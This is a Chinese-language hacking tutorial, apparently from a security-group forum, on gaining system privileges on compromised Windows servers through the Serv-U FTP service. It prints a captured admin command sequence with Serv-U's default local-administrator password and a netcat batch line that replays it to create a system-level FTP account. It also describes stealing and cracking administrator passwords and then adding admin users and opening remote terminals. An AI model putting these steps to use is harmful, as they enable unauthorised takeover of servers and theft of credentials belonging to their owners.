注册
登录
| 关键词： nbsp 账号 如果 密码 一个 权限 然后 呵呵 servu 很多 |
文章作者：黑猫信息来源：邪恶八进制安全小组很多新人在利用servu提升权限时会遇到很多问题，比如默认的本地管理员密码改了，ws等cmd禁用了，又或者网站的根目录下没有运行权限时！很多新手们都会发弃了，呵呵，其实今时今日，遇到上面问题的朋友我想一定很多很多！因为我师父公布的servu提权也有一年多了，呵呵～网管们都聪明了呵呵，想搞就要想点办法了，呵呵～～ 我就把我这么久以来的经验和大家说说吧～菜鸟学习的地方，高人们别笑哦如果网站的根目录没有运行权限的话，我们可以找找他服务器上那些文件夹是everyone有运行权限的！又或者服务器上如果有盘是fat32格式的话～我们就可以上传提权的程序到那，然后运行～如果不行，我们可以找一下servu的存放目录，看看有没有写的权限，怎么找呢，呵呵，servu默认存放的目录为：c:\Program Files\serv-u\ 如果不是这里的话，我们可以到 C:\Documents and Settings\All Users\「开始」菜单\程序\ 中找到servu的快捷方式，然后把他下载下来按属性查看servu的目录～现在目录找到了，那我们就看看他根目录下的ServUDaemon.ini 可不可以写入，如果可以的话，那么我们就可以写一个有系统权限的ftp账号上去～然后再ftp上去完成我们的目的吧，建管理员，开终端了呵呵～如果ws禁用了的话，对方支持php的话,我们可以上传一个php的提权程序来提权，原理也是一样的,呵呵，通过默认的管理员账号和密码建立一个有系统权限的ftp账号！如果支持cgi的，我们也可以传一个pl文件来达到我们想用cmd的目的！这些东西网上都有的，很容易就可以找到的！～～～～～还有就是如果管理员关闭了建新用户的功能的话，我们可以上传一个在cmd下建ftp账号的工具，先建一个ftp账号，然后我们在ftp下再通过pulist和findpass这两个工具来捉取管理员的密码！要是默认的管理员账号改了，我们可以查看servu的目录，把ServUDaemon.exe下载下来破出密码，像6.0以上的版本密码保存在ServUDaemon.ini这个文件里，把他拿出来破解一下就OK了～我相信这里很多人都会，但是也有很多人不懂编程，所以无法编译出工具来提权，其实在这里我们不用会编程一样可以提权～我们可以先在本地建一个有系统权限的账号，用WSockExpert捉包！我把我捉的内容发出来：-SETUSERSETUPUSER LocalAdministratorPASS #l@$ak#.lk;0@PSITE MAINTENANCE-SETUSERSETUP-IP=127.0.0.1-PortNo=21-User=bbb-Password=bbb-HomeDir=c:\-LoginMesFile=-Disable=0-RelPaths=1-NeedSecure=0-HideHidden=0-AlwaysAllowLogin=0-ChangePassword=0-QuotaEnable=0-MaxUsersLoginPerIP=-1-SpeedLimitUp=0-SpeedLimitDown=0-MaxNrUsers=-1-IdleTimeOut=600-SessionTimeOut=0-Expire=0-RatioUp=1-RatioDown=1-RatiosCredit=0-QuotaCurrent=0-QuotaMaximum=0-ExpirationType=Delete-Maintenance=None-Maintenance=System-PasswordType=Regular-Ratios=NoneAccess=c:\|RWAMELCDP-GETUSERSETUP如果对方改了默认密码的话，你就把pass后面的密码改为他servu的密码，另存为一个txt文件就就Ok了！然后我们上传一个nc和这个txt文件~ 然后把nc 127.0.0.1 43958 <1.txt 这句话保存为1.bat保存上传上去然后运行1.bat就OK了～这样我们就建了一个有系统权限的ftp账号关于提权方面的东西还有很多，比如可以通过mysql的自定义函数来提权，还有ms05012 ms05020，ms05039等一些exp也可以用于提权，我这里就不一一说了，大家慢慢研究！我师父说的一句话：入侵最要紧的是思路！我的QQ是:161085 欢迎大家和我一起交流技术！ 作者：黑猫 |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
